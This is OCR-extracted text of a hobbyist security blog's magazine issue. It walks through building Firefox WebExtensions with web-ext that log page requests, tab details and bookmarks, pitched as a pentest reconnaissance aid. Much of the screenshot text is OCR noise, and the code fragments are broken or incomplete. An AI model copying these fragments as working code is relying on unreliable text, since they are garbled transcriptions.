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Hello World

Well, looks like we’re in the Part 4 of the (infamous;)) Notes Magazine. Today we’ll talk a
little bit about few new topics. | know during Xmas we had almost 120 pages (in usual we have some
about 50) but I'll try to find some time to prepare more new content for you. ;)

In the meantime let’s see what do we have here:

Below you'll find:

1st section — is related to a new way ;) of ‘browsing the internet’ | found few days ago. In second one
part we’ll talk more about HerCoolS. In 3rd one we’ll find a way to see some interesting output on
our Kali VM. In the last part this time | tried to learn a bit more about protocol fuzzing.

So? Let’s not wait any more! Here we go... ;]


https://code610.blogspot.com/
https://code610.blogspot.com/p/mini-arts.html
https://code610.blogspot.com/p/contact.html
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Introduction to the Browsing




Intro

One of the YouTube’s channels ,related to IT Security” | like to watch from time to time in
one of the previous episodes[1] mentioned about so called ‘random topics’. Well. ;> One of them |
decided to (modify for my own purposes and) check. So below we’ll try to check how can we browse
the pages (for example: ,,we were asked to pentest”;)). For now — we should be somewhere here...

C @ © & hitps;//developer.mozilla.org/en-US/docs/MozillafAdd-ons/WebExtensions/Your_first_WebExtension
MDN Web Docs » Technologies » References & Guides » Feedbacl

Your first extension

Mozilla » Add-ons » Browser Extensions » Your first extension

| decided to find out how can | read the webpage during pentest to get some interesting
ideas of how this page can be exploited, what is visible for me from this perspective and so on.

| was wondering if | should prepare a pure JS-based webpage or something similar to the
webpage based on jQuery... and that’s how | landed in a very next section. ;)

Preparing Environment
During this scenario we’ll use:

- for sure Ubuntu 20 ISO[2];

- all other files/packages/resources we’ll need to step forward I'll mention in the description below;
- and for sure — let’s stay on this page[3] .

Ok, your new Ubuntu VM should be ready so far so let’s continue below.

| started the console to update and/or install anything we’ll need (Ubuntu is fresh and clean so first
of all | updated it, next | installed nodejs and npm packages):

c @ © @ https;//extensionworkshop.com/documentation/develop/getting-started-with-web-ext/ 5]
~
Getting started with web- .
et Installation
Installation

web-ext is a node-based application that you install with the nodejs/npm (2 tool. Install web-ext
using the following command:

Using web-ext

See also

web-ext command npm install --global web-ext
reference

web-ext requires the current LTS (2 (long-term support) versions of NodeJS .

Web-ext Webpack plug-in &

Next — according to the documentation[3]:


https://www.youtube.com/channel/UCjS2aGCvsnhExcWRAI8T4Pw
https://ubuntu.com/download
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension

ﬁ‘ root@ubuntu20: ~

Extensions and the Add-on

ID .
web-ext --version

User Experience @ web-ext will notify you when it is time to update to the newest version. To update your global install, use
the command npm install -g web-ext
Build a secure extension

Checking:

) the numk

And after a while if everything goes well we should be able to check the version of installed software:

npm
npm
Ju

Extensions and the Add-on
ID

User Experience @ web-ext will notify you when it is time to update to the newest
the command npm install -g web-ext .

Build a secure extension

So far | think we’re ready to prepare a very first extension — ,hello world” ;). Let’s do it!



Simple Example

So far our ,,initial environment” should be ready to start testing our possibilities. Let’s take a quick
look for the extensions-examples available here[4]:

@ U & https://github.com/mdn/webextensions-examples

webextensions-examples

https://github.com/mdn/webextensions-examples
Maintained by the MDN team at Moxzilla.

WebExtensions are a way to write browser extensions: that is, programs installed inside a web browser that modify the
behavior of the browser or web pages loaded by the browser. WebExtensions are built on a set of cross-browser APIs,
so WebExtensions written for Google Chrome, Opera, or Edge will, in most cases, run in Firefox too.

The "webextensions-examples” repository is a collection of simple, complete, and installable WebExtensions. The
examples show how to use the WebExtensions APls, and you can use them as a starting point for your WebExtensions.

For an index of all the examples, see the "Example extensions” page on MDN.

The examples are made available under the Mozilla Public License 2.0.

| tried to recreate scenario(s) from the links above. After installing all the needed requirements and
updating packages we should land somewhere here:

B hitps;//extensionworkshop.com/documentation/develop/getting-started-with-web-ext/ B -

Testing out an extension

Test an extension in Firefox by cd 'ing into your extensions’s root directory and entering:

web-ext run

This starts Firefox and loads the extension temporarily in the browser, just as you can on the
about:debugging page (2. Note that this web-ext method has the same limitations regarding
prompts for permissions and restart features as about:debugging .

See the run reference guide to learn more.

Next | went to the Options -> Debugging -> Extensions. We should be here:

Activities ©) Firefox Web Browser ~ gru21 12:39

Debugging - Runtime / this-firefox - Mozilla Firefox

/ Debugging - Runtime / I X

& ¢ @ (@ about:debugging#/runtime,this-firefox wee w

Lt setwp e Moxilla Firefox (75.0)
0 This Firefox

% Temporary Extensions (0) v

@ uss disabled Load Temporary Add-on...

Nothing yet.
No devices discovered 2

% Extensions (1) v
Refresh devices

M|

© - | Default Inspect

Extension ID default-theme@mozilla.org

Now, let’s Load Temporary Add-on... — like it was presented on the next screen, below:


https://github.com/mdn/webextensions-examples

©) Firef gruz1 12:39

Cancel Select manifest.json file or .xpi/.zip archive
D Recent 4  f{itc | src | broderify | »
(i} Home Name v Size Type Modifie
@ icons 12:33
O Desktop @ borderify.js

47 bytes  Program 12:35

© manifestjson 363bytes Program 12:38

[E Documents
{ Downloads

J1 Music

)
&
-
©

e [&] Pictures

For now we should be here:

Debugging - Runtime / this-firefox - Mozilla Firefox

ugging - Runtime / © % [isd

¢ @ (@ about:debugging#/runtime/this-firefox e h 4

% setup e Mozilla Firefox (750)

m Firefox

D USB disabled

& Temporary Extensions (1) v

Load Temporary Add-on....
No devices discovered
Borderify Inspect

Refresh devices Location /homey/c/src/broderify/

Looks like everything is ok. Checking:

Activities © Firefox Web Browser ¥ gru21 12:43

Firefox - Protect your life online with privacy-first products — Mozilla - Mozilla Firefox
File Edit View History Bookmarks Tol Help

F Debugging -Runtime / © x [SESIEORIEIC TIPS

c @ © | & ¥ https;//www.mozilla.org/en-US/firefox/

moz:/la Firefox Browsers ~ Products ~ WhoWe Are  Innovation

 Firefox

The NEW Firef

he browser

(8 O inspector (5] Console [ Debugger 1 Network {} StyleEditor (Q) Performance {Jk Memory [F Storage -y Accessibility g Wh:
A This page uses the non standard property “zoom”. Consider using calc() in the relevant property values,
»

Errors  Waring|

or using “transforn” along wi

Ok. So far, so good. Of course at this very beginning stage we can still check the documentation[3]

and prepare our ,initial/basic extension(s) scenario” — you know... just in case you’d like to practice a
little bit more... ;)


https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension

A little bit more

Here we’ll try to extend our simple extension. Our initial goal is to use the extension to get all the
links on the page we’re currently visiting. Let’s see how it can be achieved.

Let’s make a copy of the ‘example extension’ we found at github[4]:

@ c@ubuntu20: ~/src/Example01

c@ubuntu2

Great. Now we can work on our new example. Let’s start here:

Activities ©) FirefoxWeb Browser v gru21 1427

Debugging - Runtime / this-firefox - Mozilla Firefox

File Edit View History Bookmarks Tools Help

ser-Extension-Template,

@ c@ubuntu20: ~/src/Web-Browser-Extension-Template

- # Debugging - Runtime /t X [ SR MEIVENEIEY X | m Internet for people,not X | +
. &« G @ @ about:debugging#/runtime/this-firefox w In @ ®
e ——————

! taa Temporary o H @0 world!
; e

@ .,:‘, Setup *, Web Browser Extension Template 610 Inspect

o This Firefox Location
>

Our extension is very simple so far, but at this stage | was interested if I'll be able to prepare it as a so

called ,,cross-browser” extension (TL;DR: extension should work for both browsers: Firefox and
Chrome):

Add-ons Manager - Mozilla Firefox
File Edit View History Bookmarks Tools Help

/ Debugging - Runtime / 1 X [ MEGI ROV EREL Y

¢ &) Firefox | about:addons

*
Find more add-ons | Search addons.mozilla.org
{» Recommendations ¢ £33
d§. Extensions .
Chrome Extension Template 610 O -
Extension template based on DevDungeon example
‘/ Themes P ¢ P
Details Preferences Permissions
il Plugins

Favorite colorz| green v 1 like colors.
Options saved.
pe Languages save


https://github.com/mdn/webextensions-examples

Next | switched to the Linux console to start: web-ext run command:

c@ubuntu20: ~/src/Web-Browser-Extension-Template

. [+
H S web-ext run

Running web extension from /fhome/c/srcfWeb-Browser-Extension-Template
Use --verbose or open Tools > Web Developer > Browser Console to see logging

As a results we’ll see a new browser window (let’s say) ,,only with our extension”- so we can focus on
the functionality. Checking:

Mozilla Firefox

New Tab

@ search or enter address I O @

Hello, world!

So far, so good.



Understanding WebExtension API

As we'd like to extend our example extension — we’ll stay for a while with the code presented in this
resource[4]:

© & httpsy/github.com/DevDungeon/Web-B

)
=)
@
o
@
T

Web Browser Extension Example

Simple cross-browser extension ready for development with jQuery and Bootstrap. Test in Firefox, Chrome, and
Chromium.

Running & Testing

For Chrome
Load the unpacked directory:

® Menu -> More tools -> Extensions -> Turn on Developer Mode -> Load unpacked

For Firefox

From the command line, within the plugin directory, run:

web-ext run

Or, open the browser, go to about:debugging , then click "Load Temporary Addon™ and choose the manifest.json file.

So, for now we should be somewhere here —reading index.html:

Let’s go directly to the file global.js. We'll add a basic JavaScript code to check where we can observe
some results:

Let’s see if that’ll help:


https://github.com/mdn/webextensions-examples

/ Debugging - Runtime / I X [NLGEEIF X

< c o © | @ localhost
Index of /
Name Last modified Size Description

) SuperWeb/  2020-12-21 16:23
[#) index.html.old 2020-12-21 12:35 11K

Apache/2.4.41 (Ubuntu) Server at localhost Port 80

& %

»

{7 Inspector Console [O» Debugger ) Network {3} StyleEditor (7) Performance {J: Memory E Storage 'ﬁ' Accessibility gf§ What's New

Errors Wamnings Logs Info Debug  CS5 XHR

Well? No. ;] So | decided to click Inspect button:

& Temporary Extensions (1) v

*. Chrome Extension Template 610

Location

Load Temporary Add-on...

fhome/c/src/Exampled2/

After reading about the console and the ‘extension console’ | decided to start all over again. ;]




Preparing first Browser Extension

After few hours | decided to start from the previous example and add the functionaliy I'm looking for
(,the goal”;)) ‘one-by-one’. | believe we can start from this page[5]:

a8 https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_inte El 80% e ﬁ N

Toolbar button .
® A button on the browser toolbar that dispatches an event to the
rowser
ction) extension when clicked. By default, the button is visible in all tabs.
action

Let’s see how to add it to our ‘example01’ code:

Page not found

Sorry, the page /pl/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action could not be found.

FFFFFFFFFFFFFFFAFFFFFFF..11111111111111

FFFFFF
FFFFFF
FFFFFF
FFFU
UUUL
uuu
UUUL
uuu
UuuL

...hold on... ;}

Page not found

Sorry, the page /pl/docs/Mozilla/Add-ons/WebExtensions/user interface/Browser action could not be found

+ Good news!

The page you requested doesn't exist in Polish but it exists in English

Toolbar button

fen-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action

Ok. ;> It is a good news! ;] Let’s follow the original documentation then:


https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface

Toolbar button

Mozila » Add-ons » Browser Extensions » User interface » Toolbar bution

Jump to section Commonly referred to as a browser action, this user interface option is a button added to the

o browser toolbar. Users click the button to interact with your extension
Specifying the browser action

Icons

Examples

Related Topics

~ P P ...

Browser extensions
The toolbar button (browser action) is very like the address bar button (page action). For the

» Getting started differences, and guidance on when to use what, see Page actions and browser actions.

» Concepts

Specifying the browser action

Ok, great. Let’s continue to ,,specify the browser action”:

You define the browser action's properties using the browser_action key in manifest json:

"browser_action":

"default_icon":
"19": "button/geo-19.png",
"38": "button/geo-38.png"

42
"default_title": "Whereami?"

The only mandatory key is default_icon.

Ok, as you can see we already did it before (in example01 and example02). Let’s move forward:

There are two ways to specify a browser action: with or without a popup. If you don't specify a
popup, when the user clicks the button an event is dispatched to the extension, which the

extension listens for using browserAction.onClicked:

browser .browserAction.onClicked . addlistener{handleClick) ;

,Get it? Checking a mail...” ;)

| was wondering ,how” so | decided to follow both links[6, 7]. By the way if you are looking for some
cross-browser hints it’s also a good idea to (rtfm;)) check (for example) this page[6]. Beside the
syntax you’ll also find with which of the browsers your code will be compatible, for example here:


https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/BrowserAction/onClicked

d rAction/onClicked 60% b

/docs/Mozilla/ ons/WebExtensions/API/Brow

Checkwhether listener is registered forthis event. Returns true fitis listening,
false otherwise

addListener syntax

2 Report problems with this compatibility data on GitHub

=

=

2

=

c

- . £

- =

£ = g z g E

L&) L [ [=] [ o

] @ © O L] ©

onClicked Yes 14 45 Yes 14 55
OnClickData Ho Ho 72 No No 79
tab Yes 14 45 Yes 14 55

D Full support D Mo support

Anyway, let’s continue here (still basing on DevDungeon’s example web template[8]):

// for all the page; ff don't like it

5.html", // Chr only, full pa

So far, so good. Let’s try it from the Ubuntu’s desktop perspective, switch:

M c@ubuntu20: ~/src/Example03

:-8 cd src/Example@3/
3 $1s

borderify.js index.html manifest.json
z $ web-ext run

Running web extension from /home/c/src/Example@3

a: Error parsing manifest.json file at /home/c/src/Exampled3/manifest.json: JSONError: Unexpected token } in JSON at position 653 while parsing near
I

Mhm, sure. :7


https://github.com/DevDungeon

c@ubuntu20: ~/src/Example03

: $ web-ext run
web extension from /hom src/Example@3
--verbose or open Tools > Web Developer > Browser Console to see logging

/ Debugging - Runtime / © X LGS

<« C @ @ @ localhost

Toolbox - Extension / Code610 Browser Extension - Mo...

B8 Toolbox - Extension / Co. X

G @ | @ about:devtools-toolboxttype=ex s+ ¥ =
Index of / Hello, Cody ;]
@ ThisFirefox (7... *. Code610 Browser Exte... aboutblank
Name Last modified Size uescripuon w3 inspector Console [ Debugger T Metwork »» e
W v 3
) SuperWeb/  2020-12-21 16:23 -
@index.htm1.01d2020—12—21 12:35 11K Errors Warnings Logs Info Debug €55 XHR Reguests
VWiebconsole context has changed
Apache/2.4.41 (Ubuntu) Server at localhost Port 80 @ SyntaxError: expected expression, got '}’ [Learn More]  global.js:7:3
@ Content Security Policy: The page’s settings blocked jquery.js:4:4631
re/E> the loading of a resource at inline (“script-src”).
: > [En)

Well, HTML code indeed is visible when user will click the extension button but we still can see some
errors in the extension’s console. Let’s try to fix that:

& https:

veloper.mozilla.org/en-US/docs/Mozilla/Add-«

ebExtensions/APl/BrowserAction/onClicked

When the user clicks the icon, disable it for the active tab, and log the tab's URL:

browser.browserAction.onClicked.addListener((tab) =>
// disable the active tab
browser.browserAction.disable(tab.id
// requires the "tabs" or “"activeTab” permission
console.log(tab.url

‘@ c@ubuntu20: ~/src/Example03

Ctrl+R to reload web-ext and we should be here:



C @ @ about:devtools-toolbox?type=e» === | >

Hello, Cody ;]

e Uescripuon

@& This Firefox (7... *- Code610 Browser Exte... about:blank
W O Inspector [J Console [ Debugger ‘N Network »»

o

Errors Warnings Logs Infe Debug CS5 XHR Reguesks

K
Webconsole context has changed

@ Content Security Policy: The page’s settings blocked jguery.js:4:44
the loading of a resource at inline (“script-src”).

\host Port 80

[1] ReferenceError: webkitNotifications is not functions. js:6
defined [Learn More]

As far as the error-with-‘CSP: page settings blocked’ should be easy to guess ,,why” — , for temporary

loaded extensions there is a CSP rule; you can change it in manifest.json” afaik ;). But let’s check what
about that webkitNotifications[3]:

'X O1I /

C" 1 (U about:devtools-toolb

@ This Firefox (7... g codesioBs
® O Inspector Console [ Debugger

ame Last modified Size Description

Ctrl+R and checking... and errors again. ;Z So | decided to clear the whole notify() function and

rewrite using one other example | found on the documentation[3]. Results (as well as the source |
used) you'll find on the next screen below:


https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension

n() .then(

Activities &) Firefox Web Browser ~ aru22 16:39
Index of / - Mozilla Firefox

Debi -Runtime / Index of
& T Py ndex of / Toolbox - Extension / Code610 Browser Extension - Mo..

In 0 &

B Toolbox - Extension / Co X

G @ @ aboutdevtools-toolbox?type=e

Hello, Cody ;]

Notify me!

@ This Firefox (7... e Code610 Browser Exte...
O® O inspector B Console O Debugger N Network 3
o)

Eors Warnings logs Info Debug €SS XHR Requests

Name Last modified Size

(Z)SuperWeb/  2020-12-21 16:23
[?) index.html.old 2020-12-21 12:35 11K

Webconsole context has changed

@ Content Security Policy: The page’s settings blocked J
the loading of a resource at inline (“script-src”)

Apache/2.4.41 (Ubuntu) Server at localhost Port 80

default i

@ The Notification permission may only be requested from
inside a short running user-generated event handler

Looks better! ;] (Read as: we can see some ,valid(?) responses” from the code, so — yeah, it’s good).
We can continue below. But according to the ,,mess” in the code | decided to switch to some easier
example.

| decided to move to example more related to my initial goal:

c @ © & httpsy//developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Wi sions/Intercept_HTTP_requests a8
MDN Web Docs » Technologies » References & Guides » Feedback Search M

Intercept HTTP requests

Mozilla » Add-ons » Browser Extensions ¥ Intercept HTTP requests

Jump to section To intercept HTTP requests, use the webRequest API. This API enables you to add listeners
for various stages of making an HTTP request. In the listeners, you can:

naaing racuact 1ID] o

Yeah. ;] Checking th details about onBeforeRequest:

2 © & httpsy/

per.mozilla.org/en-US/docs/Mozillz

webRequest.onBeforeRequest

Mozilla » Add-ons » Browser Extensions » JavaScript APIs » webRequest » webRequest.onBeforeRequest

Jump to section This event is triggered when a request is about to be made, and before headers are available.

cunt This is a good place to listen if you want to cancel or redirect the request.
SVNiax

Well, ok.

Next we are here, checking our updated extension:



w N @ &

B Toolbox - Extension f we X

G it @ aboutdevtools-toolbg

@ ThisFir... *- webRequest-demo
¥ O Inspector Console [ Debugger T

lﬂl v Errors

Loading: https://www.gstatic.com/og/ /j5/k=0
Jri=j/m=def,aswid/exm=1in, fot/d=1/ed=1
Ars=AA2Y rTsDgsMYyquwZm5kyAD4Gud fvg58Ng

Loading: Attps://www.google.com/favicon.ico

Loading: Attps://www.google.coms/gen 2047s=wel
ei=B8xjiX4eBBoGoaljwuvgGart=wsrt. 14612, aft. 12
Amad=0&b=ZWET

Loading: https://apis.google.com/ /scs/abc-s
/ /is/k=gapi.gapi.en.GhY5aDTWhs4.0/m=gapi 1f|
Ari=]/sv=1/d=1/ed=1/rs=AHp0oo_CcmyUNBPTBtz4h

Loading: https://consent.google. com/intro/?ct
APgws_rd%30ssl&origin=https:/Ywww.google. comd

Loading: Attps://www.google.com/completes/sea
x551=t&gs ri=gws-wiz&hl=pl&authuser=0&
psi=8xjiXdeBBoGoa8jwuvgl. 1668653063591&nalsh

Loading: https://www.google.com/xjs/ /js/k=x,
Ack=xjs.s . NSTCpSOUTVI.L.F4.0
Sam=AAAAAAAAACCAATABAAAAWBK YGYAA BEAWANXOAAAA
Afd=1/exm=cdos,cr,csi,d,dpf, hsm, jsa, pfd/ed=1
Ars=ACT900GiudRILOZbPEL FQgSHBXVACIHITg
A/m=GxIAgd,NBZ7u, NpD4ec, 0G6ZHd, T6sTsT, T7XTS, a
foot, kVbfxd, lu,m, mUpTid, mu, sb wiz,sf,uiNkee,

Loading: Attps://www.google.com/client 264744
ei=8xj1X4eBBoG0a8 jwuvglhc

Loading: https://ogs.google.com/widget/apps/s
25 c i3 Ccnidellhlenl

Well, well, well... ;] It works! ;D ...but as you can see — the button of our extension disappeared. :C

Current code looks like below:

) Firefo
Google - Mozilla Firefox
& Debugging - Runtime / Google Toolbox - Extension / webR¢

~@H InND ¢

w.google.com B Toolbox - Extension /we X

¢ @

@ ThisFir... 2 webRequest-demo
¥ O inspector
w v Errors

0. Yoyaa
AAAAT/d=1/dg=2/ct=2gms/ rs=ACTO00Gx IhZnZL pNxA!
Document URL: fit2ps://wa. google. com/

about:devtools-toolbo

Console [ Debugger N

Loading: https://www.gstatic.com/0g/ /js/k=0:
/rt=j/m=def,aswid/exm=in, fot/d=1/ed=1
7rs=AAZYITSDGSHY Y quuEnSkyADAGu4 Fuq SNy

Document URL: https://ww.google. com/

Loading: https://consent.google. con/intro/7cc
/Sorigin=https://www.google. conkif=1&g1=PLEh

Document URL: https://www.google. com/
Loading: https://wa.google. con/favicon. ico

Document URL: https://www.google. com/

Loading: https://apis.google.com/_/scs/abc-s
k=aa

More to try:

Method : GET
Refered from htitp://localhost/Superieb/

All HTML €Ss JS XHR Fonts Images Media WS Other

Status Method  Domain File Cause Type  Transferred Size ams 13§ .
Loading: http://localhost/Superieb/
GET & localhost /superweb/ document html 7038 9. |zms Document URL: http://localhost/Suparheby
GET @ localhest /SuperWeb/ document Method : OPTIONS
[204] localhest avicon.ico img htm cached 2.. |oms Refered from http://localhost/Superieb/
OPTIONS @ localhost JSuperWeb/ document unix... 2298 0B |4ms Loading: hitp://localhost/Superweb/s

Document URL: http://localhost/SuperiWeb/

G Srequests = 1.45KB/1.39 KBtransferred = Finish: 36.90 s Method : POST

Ok, let’s first of all fix that hidden button. ;) Here we go...



Let’s go back to the source code — we should be here:

' EP c@ubuntu20: ~/src/Example04

2P c@ubuntu20: ~fsic/Example04

ns_page": "options.html", // for all the page; ff don't like it
// tiny modal ui
" " // for firefox

Indeed — looks like we have something to fix ;) After a while — my ,,current” manifest.json file is
presented on the screen below:

Ok, before we'll switch to desktop again, let’s also create some basic index.html file in the directory
of our extension, like this:



Et® C@UDUNTUZL ~/5TC/EXamMpIeUs

html><tit

Now we’re ready to refresh the status on Ubuntu-desktop ;) Let’s continue here (with Ctrl+R of
course ;)):

Toolbox - Extension / webR

_»
o —_

ﬁj ) =
I“\ =/ =

hello ;]

b

B Toolbox - Extension / v

¢ @ | @ about:devtools-toolbg

@ ThisFir... *- webRequest-demo
O 1O Inspector Console [ Debugger T
@ Errors

Loading: http://localhost/SuperWeby/
Loading: hitp://localhost/icons/blank.gif
Loading: http://localhost/icons/back.gif
Loading: Attp://localhost/icons/text.gif
Loading: hittp://localhost/favicon.ice
Loading: hitp:/slocalhost/

Loading: http://localhostsicons/folder.gif
Loading: http://localhost/favicon.ico

@ The character encoding of the HTML document
render with garbled text in some browser con
characters from gutside the US-ASCII range.
be declared in the document or in the transf

Great! (Next thing to fix will be adding to index.html some encoding but we’ll do that in the next
iteration of our rewrite ;).) So far our super-extension can grab links to all resources that are loaded
when we are visiting our target-page. (It looks pretty similar to the ‘attack scenario’ | presented few
weeks ago on the blog[9].) As you can see we have our icon back too. ;]

So | think we can move forward. Current code after a little update looks like below:

Index of /SuperWeb - Mozilla Fire
1 root@ubuntu2t

Index of /Superweb X rootfube
1 -

Japach

talhost/Superweb/?C=M;0=A

perWeb

modified Size Description

2-2116:14 224

wrver at localhost Port 80

Looks nice, but why am | see the loop in the log file that is adding another-and-another-xxxx string to
the requests?


https://code610.blogspot.com/2020/06/wooper-for-wordpress-enumeration.html

Probably | missed something like timeout or ‘visited’ checkmark. Let’s see how can we fix that.

But first of all (after last 16h with the Manual:

Where did you get that ifformation?

Manuel who?

): it’s time for a little break... ;)



Preparing second Browser Extension
Here we’ll focus mostly on Firefox and updating the script from previous section. So let’s move
forward. At this stage | decide to follow the manual[5] and continue with our example extension.

Let’s start here:

veloper.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications El 80%

xtensions @ H S # O = FissoPM Q @ =

tarted Click notification

‘ You clicked https://developer.mozilla.org/ @

en-Us/doecs/MD N.k

rface
Natifications can include a call to action for the user, and your add-on can listen for the user

clicking the notification or the notification closing.

fierentiators

Specifying notifications

t APIs

keys You manage notifications programmatically, using the notifications APl To use this API
you must request the notifications permission in your manifestjson:

Workshop

"permissions": ["notifications"

Updating our current script (after we’ll make a backup/copy;)) and we should be here:

[+ c@ubuntu20: ~/src/Example06

et currentTab = null;

console. log(tabInfo);

let newtab = await browser.tabs.create({
open(newtab);

}catch{error)fi
console.error(error);

}

browser.tabs.onActivated. addListener(logListener);

Can you see it? Well, let me know what is the result of running this code with your web-ext, ok? I'll
wait... ;]

After a while | decided to start all over again but this time | started from examples available in the
manual pages|3]. Like this one:


ttps://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension

B % s

Vozilla/Add-ons/WebExtensions/APl/bookmarks/getTr

g/en-US/docs,

This example prints out the entire bookmarks tree:

function makeIndent(indentlLength

return ".".repeat(indentlLength ©) Firefox Web Browser ¥

/~ Debugging -Runtime /1 X NSl e St L PR

function logItems(bookmarkItem, indent

if (bookmarkItem. url c o bout-devtoots.toolb
. ' 7

console. log(makeIndent(indent) + bookmarkItem.url aboutdevtools-toolbox?typ
else @ This FireFox (75.0) 4 YT Browse time moz-extensi

console.log(makeIndent(indent) + “Folder Console [ Debugger 14 Network {3} Sty

indent++

® O inspector
)

if (bookmarkItem.children Webconsole context has changed

for (child of bookmarkItem.children Folder
Fold:

logTtems(child, indent etaer

. Folder

- .https://support.mozilla.org/en-US/products/firefox

.. .NTTps://support.mozilla.org/en-Us/kn/customize-firefox-cor
indent-- utm_campaign=customize
.. NTTpS:/ fwa.Moz111a. 0rg/en-US/contribute/
.. https:/ /. nozilla. org/en-US/about/

function logTree(bookmarkItems - Folder

logItems(bookmarkItems[@ <} <« http://wew.ubuntu. com/

...http://wiki.ubuntu.com/

..https://answers. launchpad. net/ubuntu/+addquestion

.. .http://www. debian.org/

function onRejected(error
console.log("An error: ${error}”

. Folder
-RTtps://wen.mozilla.org/en-US/ firefox/central/
. Folder

So far, so good. (At this stage | recommend you reading more about the functions described in the
documentation[3]. For me it was a lot of fun so maybe you'll find it useful too. ;))

Let’s move forward (as you can see | modified manifest.json file to update permissions section):

ime moz-extenzion://ab76733
c@ubuntu20: ~/src/Example0s

$ cat manifest.json

:"Tracks our time on given domain",

background

function onl
console. log(
3}

var downloadUrl =

var downloading = browser.downloads.download(
url:downlo:
filename:

"background.js" 18L



https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension

As you can see to continue with the example presented above you’ll also need to share the firefox.ico
file using your “favourite webserver’ ;)

Ctrl+R in Ubuntu and we should see something like this:

evtools-toolbox?type=extension&id=e9c71343d8769405e4710¢70da701b01b55d64: ==¢ w S\ W O
vse time moz-extension://ab76 i
asd.ico
N Network  {} Style Editor E Completed — 170 KB =
i XHR Requeg
rn More] §h0W All Downloads webconsole. js:

Cool. ;] So far, so good. Let’s move forward. In the meantime | found another (in my opinion;))

interesting links you should read — here you have it[10, 11]. Ok. We'll continue with tabs — | decided
to stay here a little bit longer ;] So:

https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/APl/tabs i:i

Cupe . uupass ULy

Duplicates a tab.

tabs.executescript()

Injects JavaScript code into a page.

tabs.get()
Retrieves details about the specified tab.

tabs.getAllInWindow() L ]
Gets details about all tabs in the specified window.

tabs.getCurrent()
Gets information about the tab that this script is running in, as a tabs.Tab object.

Let’s see what do we have here:

ldeveloper.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/get e T e T
Parameters Activities 3 Terminal v gru28 00:42

tabid *s

integer. ID of the tab to get.

A promise that will be fulfilled with a tabs.Tab object containing informatiol

>,

the tab could not be found or some other error occurs, the promise will be rej
error message.

Examples

Get information about a tab when it is activated: m c@ubuntu20: ~/src/bonus01

S web-ext run

Running tension from /home/c/src/bonuse1

Use - or open Tools > Web Developer > Browser Console to see logging

async function logListener(info

try

let tabInfo = await browser.tabs.get(info.tabId);
console.log(tabInfo);
catch (error

console.error(error

browser.tabs.onActivated.addListener(logListener

Next:


https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts

eloper.mozilla.org/en-Us/ a/Mnzilla/Add-nnsAMishEytencinns/ARLAahs/Tah [l e0% see () % NP LY
valuss Ui ung
active Activities (] Terminal = gru28 00:48
| oolbox - Extension rowse time - Mozilla Firefox
boolean P Toolbox - Extension / YT B i Mozilla Firef
window is /# Debugging - Runtime /¢ X N RGMGIEISHE SO PRSI Index of / X
. ¢ @ (@ about:devtools-toolbox?type=extension&id=b57f112bffeb1117b64b50096¢07d3ae63abe940%40 ===
The active
@ This Firefox (75.0) 4 YT Browse time moz-extension;//a23f6bf7-3077-4b11-3d59-365585a517b4/_generated_background_page-html
Popups of —_ .
® 1O inspector ) console [ Debugger 1t Network {} styleEditor () Performance [ storage r Accessibility
be the on(
0] Errors Warnings  Log
Webconsole context has changed
attention l http://localhost/
about:devtools-toolbox?type=extension&id=b57112bff6b1117b64bS 67033263 enporary-addon
boolean
http://lacalhost/?0=H;0-A
displays g about:devtools-toolbox?type=extens: i f112bFf6b111 07d3ae63 emporary-addon
http://lacalhost/in2. php
about:deviools-toolbox?type=extensionsi £1120F16b111 07033263 enporary-addon
audible 0
c@ubuntu20: ~/src/bonuso1
boolean
the sound
ion logListener(info){
autoDiscar( let tabInfo i et(info. tabId);
console.log )
boolean,
} catch (error) {
resources console.error(error);
cookieStor browser . tabs .onActivated.addListener (loglistener);
string.|
(for exam|

Ok, next: change POST method to GET to grab it in our basic-example:

[+ root@ubuntu20: fhome/c/src/bonuso1

html=<head><title>asd</title:

body=
?php
if(!isset($_GET['submit']

<form method="get" action .php">
me : <input type="text" name="name">
nr>

nput type="submit" value="submit

name="submit

echo
echo
echo

o [ iEm
Ln2.

www/html/in3.php

Rewriting and Checking:



NebExtensions/APl/tabs/Tab

Terminal ~ gru 28 00:59

Toolbox - Extension / YT Browse time - Mozilla Firefox

ugging - Runtime / & X IS RGLILLEEISIEG L AR (ndex of / X | localhost/i1.html

¢ @ R 7R

his Firefox (75.0) *- YT Browse time moz-extension://a23f6bf7-3077-4b11-9d59-365585a517b4/_generated_background_page.html

(@ about:devtools-toolbox?type=extension&id=b57F112bff6b1117b64b50096c07d3ae63abe940%4

Inspector Console [ Debugger T Network {} StyleEditor () Performance [ Storage - Accessibility

nsole context has changed c@ubuntu20: ~fsrc/bonuso1
o i 3
title : Index of /
URL  : http://localhost/7C=M;0=A . i ) i
on loglListener(info){
o L
title : localhost/il.html let tabInfo t browser.tabs.get(info.tabId);
